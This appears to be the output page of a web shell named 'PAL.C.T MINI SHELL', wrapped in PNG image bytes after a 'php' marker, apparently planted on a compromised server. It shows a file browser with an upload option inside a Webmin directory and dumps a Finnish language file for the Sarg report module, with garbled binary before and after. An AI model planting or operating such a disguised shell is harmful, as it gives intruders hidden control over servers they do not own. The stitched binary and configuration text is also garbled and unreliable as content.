php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/fi.auto

index_title=Kalmariraportin generaattori
index_econf=Sargin määritystiedostoa $1 ei löydy järjestelmästäsi. Ehkä Sargia ei ole asennettu tai <a href='$2'>moduulin kokoonpano</a> on väärä.
index_ecmd=Sarg-ohjelmaa $1 ei löydy järjestelmästäsi. Ehkä sitä ei ole asennettu, tai <a href='$2'>moduulin kokoonpano</a> on väärä.
index_eversion=Sargin version hankkiminen epäonnistui komennolla $1 : $2 
index_version=Sarg-versio $1 
index_generate=Luo raportti nyt
index_generatedesc=Napsauta tätä painiketta, kun haluat luoda välittömästi Sarg-raportin $1 : ssä nykyisen kokoonpanon avulla.
index_clear=Poistetaanko olemassa oleva raportti hakemistosta?
index_range=Luo raportti ajanjaksolle
index_view=Näytä luotu raportti
index_viewdesc=Näytä viimeisin luotu raportti hakemistossa $1.
index_return=moduulihakemisto

log_title=Lokilähde ja raportin kohde
log_header=Source Squid -lokitiedosto ja luodut raporttivaihtoehdot
log_access_log=Lähdekalmarin lokitiedosto
log_squid=Nykyinen kalmaripalvelinloki ($1)
log_other=Muu tiedosto
log_output_dir=Kohderaporttihakemisto
log_output_email=Lähetä raportti sähköpostitse
log_nowhere=Ei missään
log_useragent_log=Käyttäjäagentin lokitiedosto
log_lastlog=Säilytettävien raporttien lukumäärä
log_unlimit=Rajoittamaton
log_mail_utility=Postin lähetyskomento
log_remove_temp_files=Poistetaanko väliaikaiset tiedostot ilmoituksen jälkeen?
log_err=Lokilähteen asetusten tallentaminen epäonnistui
log_efile=Tiedostoa ei ole
log_edir=Hakemistoa ei ole
log_elastlog=Puuttuuko numero tai ei
log_eemail=Puuttuva tai virheellisen näköinen sähköpostiosoite
log_emailx=Puuttuva tai puuttuva postiohjelma
log_squidguard_log_path=SquidGuard-lokitiedosto

style_title=Raportin tyyli
style_header=HTML-raportin tyyli- ja värivaihtoehdot
style_title2=Raportin otsikko
style_font_face=Ilmoita kehon fontti
style_header_color=Otsikon väri
style_header_bgcolor=Otsikon taustaväri
style_header_font_size=Otsikon fonttikoko
style_background_color=Taustaväri
style_text_color=Tekstin väri
style_text_bgcolor=Tekstin taustaväri
style_title_color=Otsikon väri
style_logo_image=Kuvan viite logolle
style_image_size=Kuvan koko (leveys ja korkeus)
style_logo_text=Teksti logolle
style_logo_text_color=Logon tekstin väri
style_background_image=Kuvan viite taustalle
style_err=Raportin tyylivaihtoehtojen tallentaminen epäonnistui
style_etitle=Puuttuu raportin otsikko
style_ecolour=Puuttuva tai virheellinen värinimi tai RRGGBB-koodi
style_efontsize=Puuttuva tai virheellinen fonttikokoero
style_efont=Puuttuva tai virheellinen fontinimi
style_esize=Puuttuva tai virheellinen kuvan leveys ja korkeus
style_language=Raportin kieli
style_charset=Raportoi merkistö

report_title=Raporttivaihtoehdot
report_header=Raportoi sisältö ja luontivaihtoehdot
report_resolve_ip=Ratkaise IP-osoitteet?
report_user_ip=Käytätkö IP-osoitteita käyttäjätunnusten sijasta?
report_user_sort_field=Tilaus käyttäjäraportille
report_topuser_sort_field=Tilaaminen huippukäyttäjille -raportti
report_reverse=Käänteisessä järjestyksessä
report_forward=Eteenpäin järjestyksessä
report_by_user=Käyttäjätunnuksella
report_by_connect=Yhdistämisaika
report_by_bytes=Tavut
report_by_time=Ajan kanssa
report_by_site=Sivuston mukaan
report_exclude_users=Tiedostojen luettelon käyttäjät, jotka poistetaan
report_exclude_hosts=Poistettavat tiedostoluettelot
report_index=Luo <tt>hakemisto.html</tt> tiedosto uudelleen?
report_only=Luo vain <tt>index.html</tt>
report_overwrite_report=Korvaako päivämääräraportti?
report_overno=Ei, nimeä uudelleen.1: llä
report_records_without_userid=Toimenpide tietueille ilman käyttäjää?
report_ignore=Täysin sivuuttaa
report_ip=Käytä sen sijaan IP-osoitetta
report_everybody=Käytä käyttäjänimeä <tt>kaikki</tt>
report_use_comma=Käytä pilkkua. numeroina?
report_topsites_num=Näytettävien suosituimpien sivustojen määrä
report_topsites_sort_order=Parhaiden sivustojen tilaaminen -raportti
report_sorta=nouseva
report_sortd=Laskeva
report_index_sort_order=Linkkien tilaaminen <tt>hakemistossa.html</tt>
report_exclude_codes=Tiedostojen luetteloon poistettavat HTTP-koodit
report_max_elapsed=Suurin kulunut aika (ms)
report_report_type=Raportoi osiot tuotettavaksi
report_topsites=Suosituimmat sivustot
report_topusers=Suosituimmat käyttäjät
report_sites_users=Sivustot käyttäjän mukaan
report_users_sites=Käyttäjät sivuston mukaan
report_date_time=Käyttö päivällä ja tunnilla
report_denied=Estetyt sivustot
report_downloads=Lataukset
report_auth_failures=Todennusvirheet
report_site_user_time_date=Sivustot, päivämäärät, ajat ja tavut
report_all=Kaikki raportit
report_below=Valittu alla ..
report_usertab=Käyttäjätunnuksen kartoitustiedosto
report_long_url=Näytetäänkö raportissa kokonaiset URL-osoitteet?
report_date_time_by=Lajittele päivämäärä-/aikaraportti
report_bytes=tavua
report_elap=Kulunut aika
report_user_invalid_char=Virheelliset merkit käyttäjänimissä
report_privacy=Piilota vieraillut sivustot?
report_privacy_string=Korvattu teksti käytetyille sivustoille
report_privacy_string_color=Korvaavan tekstin väri
report_below2=Sisään alla ..
report_include_users=Luo raportti vain käyttäjille
report_exclude_string=Sulje pois lokirivit, jotka sisältävät
report_allusers=Kaikki käyttäjät
report_nostrings=Älä sulje pois mitään
report_topuser_num=Näytettävien parhaimpien käyttäjien lukumäärä
report_site_user_time_date_type=Sivuston, käyttäjän, päivämäärän ja aikataulun muoto
report_table=HTML-taulukko
report_list=Tekstiluettelo
report_displayed_values=Näytä liikenne muodossa
report_bytes2=tavua
report_abbrev=Lyhennetty (K, M, G)
report_weekdays=Arkipäivät sisällytettävä raporttiin
report_weekdays0=su
report_weekdays1=mo
report_weekdays2=Tu
report_weekdays3=Me
report_weekdays4=th
report_weekdays5=fr
report_weekdays6=sa
report_hours=Tunnit sisällytettäväksi raporttiin
report_err=Raporttivaihtoehtojen tallentaminen epäonnistui
report_efile=Tiedostoa ei ole
report_enum=Ei numero
report_echar=Välilyönnit eivät ole sallittuja
report_estring=Puuttuva tai virheellinen korvaava teksti
report_eselect=Mitään ei valittu
report_eenter=Mitään ei tullut

sched_title=Ajoitettu raportin luominen
sched_header=Ajoitetut raportointivaihtoehdot
sched_sched=Ajoitettu raportti käytössä?
sched_yes=Kyllä, alla valituina aikoina ..
sched_clear=Poistetaanko raporttihakemisto joka kerta?
sched_dir=Raporttihakemisto
sched_edir=<a href='$1'>lokilähteen ja raportin määränpää-sivulla</a> ei ole määritetty kohderaporttihakemistoa. Tämä on asetettava, ennen kuin ajoitettu raportointi voidaan ottaa käyttöön.
sched_esfile=<a href='$1'>Lokilähde ja raportin kohde</a> -sivulla ei ole määritelty kalmarilokitiedostoa. Tämä on asetettava, ennen kuin ajoitettu raportointi voidaan ottaa käyttöön.
sched_range=Luo raportti ajanjaksolle
sched_rall=Kaikki lokitiedoston tietueet
sched_rsel=Ne, jotka ovat välillä $1 - $2 päivää sitten
sched_err=Aikataulun mukaisen raportin luomisen tallentaminen epäonnistui
sched_erfrom=Puuttuva tai virheellinen aloitusmäärä päiviä sitten
sched_erto=Puuttuva tai kelpaamaton loppumäärä päiviä sitten

view_title=Sargin raportti
view_efile=Virheellinen tiedostonimi!
view_eopen=Raporttitiedoston avaaminen epäonnistui

gen_title=Luo raportti
gen_header=Luodaan nyt Sarg-raporttia Kalmari-lokitiedostosta $1 ja kaikista kierretyistä versioista ..
gen_done=.. valmis
gen_failed=.. Sarg epäonnistui! Katso yksityiskohdat yllä olevasta tuotosta.
gen_nothing=.. Sarg valmis, mutta raporttia ei luotu. Katso yksityiskohdat yllä olevasta tuotosta.
gen_view=Näytä valmis raportti.
gen_err=Raportin luonti epäonnistui
gen_efrom=Puuttuva tai kelpaa päivästä
gen_eto=Puuttuva tai kelpaa päivästä

webmin_log_log=Päivitetyt lokilähteen ja raportin kohdeasetukset
webmin_log_report=Päivitetyt raporttivaihtoehdot
webmin_log_style=Päivitetyt raporttityylivaihtoehdot
webmin_log_sched_create=Ajoitettu ajoittainen raportointi
webmin_log_sched_delete=Poistettu käytöstä ajoitettu raportointi
webmin_log_sched_update=Päivitetty ajoitettu raportointi
webmin_log_sched_nothing=Vasen ajoitettu raportointi poistettu käytöstä
webmin_log_generate=Luotu raportti
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`